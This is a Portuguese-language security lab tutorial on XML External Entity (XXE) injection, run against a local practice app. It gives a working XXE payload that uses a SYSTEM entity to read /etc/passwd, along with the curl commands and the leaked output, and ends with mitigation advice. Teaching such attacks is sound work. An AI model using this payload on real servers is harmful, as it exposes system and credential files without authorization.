Injeção de Entidade Externa XML (XXE)

CibersegurançaBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá sobre a injeção de Entidade Externa XML (XXE), uma vulnerabilidade de segurança web que permite a um atacante interferir no processamento de dados XML por parte de uma aplicação.

O XXE baseia-se fundamentalmente no comportamento do parser. A aplicação acredita que está apenas processando dados, mas o parser XML também processa instruções extras incorporadas nesse formato de dados.

Quando uma aplicação web processa uma entrada XML sem desabilitar adequadamente a resolução de entidades externas, atacantes podem definir entidades personalizadas que apontam para arquivos locais no servidor. Ao injetar essas entidades maliciosas no payload XML, o atacante pode forçar o servidor a ler arquivos sensíveis (como o /etc/passwd) e retornar seus conteúdos na resposta HTTP. Você assumirá o papel de um testador de segurança para identificar um endpoint XML, criar um payload malicioso e extrair arquivos do sistema com sucesso.

Identificar o Processamento de Dados XML

Nesta etapa, interagiremos com uma aplicação web local configurada para este laboratório. A aplicação está rodando em 127.0.0.1 na porta 5000 e possui um endpoint em /process que aceita dados XML.

XML (eXtensible Markup Language) é um formato popular usado para estruturar e transportar dados entre um cliente e um servidor. Antes de podermos explorar uma vulnerabilidade XXE, precisamos primeiro confirmar que a aplicação realmente processa entradas XML e reflete os dados processados de volta para nós.

Essa primeira confirmação é importante porque o XXE só é possível quando o processamento de XML está realmente ocorrendo. Muitos endpoints aceitam texto, mas nem todos tratam o corpo da requisição como XML.

Usaremos a ferramenta de linha de comando curl para enviar uma requisição HTTP POST ao servidor. Uma requisição POST envia dados para a aplicação, e o cabeçalho Content-Type: application/xml instrui o servidor a interpretar esses dados como XML em vez de texto simples ou JSON.

Execute o seguinte comando no seu terminal para enviar um payload XML básico:

curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process

Você deverá ver uma saída semelhante a esta:

Hello, LabEx User!

Essa saída confirma duas coisas importantes. Primeiro, a aplicação processou com sucesso nossos dados XML. Segundo, a aplicação extraiu o texto dentro da tag <name> e o refletiu de volta para nós na resposta. Essa reflexão é crucial, pois nos dá uma maneira de visualizar os resultados de nossas entidades injetadas posteriormente.

Interceptar Requisição XML

Em testes de penetração reais, pesquisadores de segurança frequentemente usam ferramentas de proxy como o Burp Suite para interceptar e modificar requisições web. Como estamos trabalhando inteiramente no terminal, simularemos esse processo salvando nosso payload XML em um arquivo local. Isso torna muito mais fácil editar e injetar estruturas XML complexas de várias linhas sem lidar com problemas de escape na linha de comando.

Mover o payload para um arquivo não é apenas uma conveniência. Isso torna a entrada estruturada complexa mais fácil de analisar e revisar, o que é importante quando a própria sintaxe afeta a exploração.

Vamos criar um arquivo chamado payload.xml em nosso diretório atual (~/project). Usaremos o editor de texto nano para criar e editar este arquivo. Se você nunca usou o nano antes, ele é um editor de texto simples baseado em terminal, muito adequado para arquivos pequenos como este payload.

Abra o editor executando:

nano payload.xml

Digite ou cole a seguinte estrutura XML padrão no arquivo:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>Security Tester</name>
</root>

Salve o arquivo e saia do editor (no nano, pressione Ctrl+O, depois Enter para salvar, e Ctrl+X para sair).

Agora, vamos enviar este arquivo para o servidor usando o curl. O símbolo @ instrui o curl a ler os dados do arquivo especificado em vez de tratar a string literalmente.

Execute o seguinte comando:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Você deverá ver a seguinte saída:

Hello, Security Tester!

Ao mover nosso payload para um arquivo, preparamos um ambiente de trabalho limpo para começar a criar nossa injeção XXE nas próximas etapas.

Definir Entidade Externa (DOCTYPE)

Agora que temos um arquivo XML funcional, podemos começar a manipular sua estrutura. O XML permite que desenvolvedores definam variáveis personalizadas chamadas "Entidades" dentro de uma Definição de Tipo de Documento (DOCTYPE). Um DOCTYPE é uma seção extra próxima ao topo de um documento XML que descreve regras ou valores reutilizáveis para o parser.

Uma Entidade funciona como um atalho. Se você definir uma entidade chamada test com o valor Injected Data, sempre que você escrever &test; em seu documento XML, o parser XML a substituirá por Injected Data. Se o parser for vulnerável, ele processará essas entidades personalizadas sem qualquer verificação de segurança.

Este exemplo inofensivo é importante porque prova que a expansão de entidades está habilitada antes de você prosseguir para entidades externas baseadas em arquivos.

Vamos modificar nosso arquivo payload.xml para incluir uma declaração DOCTYPE e uma entidade personalizada.

Abra o arquivo novamente:

nano payload.xml

Atualize o conteúdo do arquivo para corresponder ao seguinte código:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY test "Injected Entity Data">
]>
<root>
    <name>&test;</name>
</root>

Salve o arquivo e saia do nano (Ctrl+O, Enter, Ctrl+X).

Neste payload, definimos uma entidade chamada test. Dentro da tag <name>, referenciamos essa entidade usando &test;. Vamos enviar este payload atualizado para o servidor para ver se ele resolve nossa entidade personalizada.

Execute o comando curl novamente:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Você deverá ver a seguinte saída:

Hello, Injected Entity Data!

O servidor substituiu com sucesso &test; pela nossa string personalizada. Isso prova que o parser XML está resolvendo entidades ativamente, o que significa que é altamente provável que ele seja vulnerável à injeção de Entidade Externa XML (XXE).

Extrair Arquivos Locais (/etc/passwd)

Na etapa anterior, definimos uma entidade interna. O verdadeiro perigo do XXE surge quando definimos uma Entidade Externa. Usando a palavra-chave SYSTEM, podemos instruir o parser XML a buscar o valor da entidade de uma fonte externa, como uma URL ou um caminho de arquivo local.

Se o parser XML do servidor web estiver mal configurado, ele lerá o conteúdo do arquivo que especificamos e o incorporará ao documento XML. Como a aplicação reflete a tag <name> de volta para nós, seremos capazes de ver o conteúdo do arquivo na resposta HTTP. É por isso que a reflexão é tão valiosa para um atacante: ela transforma uma leitura de arquivo invisível no lado do servidor em uma saída visível no navegador ou terminal.

Tentaremos ler o /etc/passwd, um arquivo Linux padrão que contém informações de contas de usuário. Este arquivo é legível por todos os usuários no sistema, tornando-o um alvo comum para testar vulnerabilidades de leitura de arquivos.

Abra seu arquivo de payload mais uma vez:

nano payload.xml

Modifique a definição da entidade para usar a palavra-chave SYSTEM e aponte para o arquivo local usando o protocolo file://:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name>&xxe;</name>
</root>

Salve o arquivo e saia do nano (Ctrl+O, Enter, Ctrl+X).

Agora, envie o payload malicioso para o servidor:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Se a exploração for bem-sucedida, o servidor lerá o arquivo /etc/passwd e retornará seu conteúdo na resposta. Você deverá ver um grande bloco de texto semelhante a este:

Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!

Parabéns! Você explorou com sucesso uma vulnerabilidade de Entidade Externa XML para extrair arquivos locais sensíveis do servidor web.

Resumo

Neste laboratório, você aprendeu como identificar e explorar vulnerabilidades de Entidade Externa XML (XXE). Você começou verificando se uma aplicação web processa e reflete dados XML. Em seguida, aprendeu como definir entidades XML personalizadas usando uma declaração DOCTYPE. Finalmente, escalou o ataque usando a palavra-chave SYSTEM para criar uma entidade externa, forçando o parser XML do servidor a ler o arquivo local /etc/passwd e retornar seu conteúdo.

Para prevenir vulnerabilidades XXE, os desenvolvedores devem garantir que seus parsers XML estejam configurados para desabilitar completamente a resolução de entidades externas e DTDs (Definições de Tipo de Documento).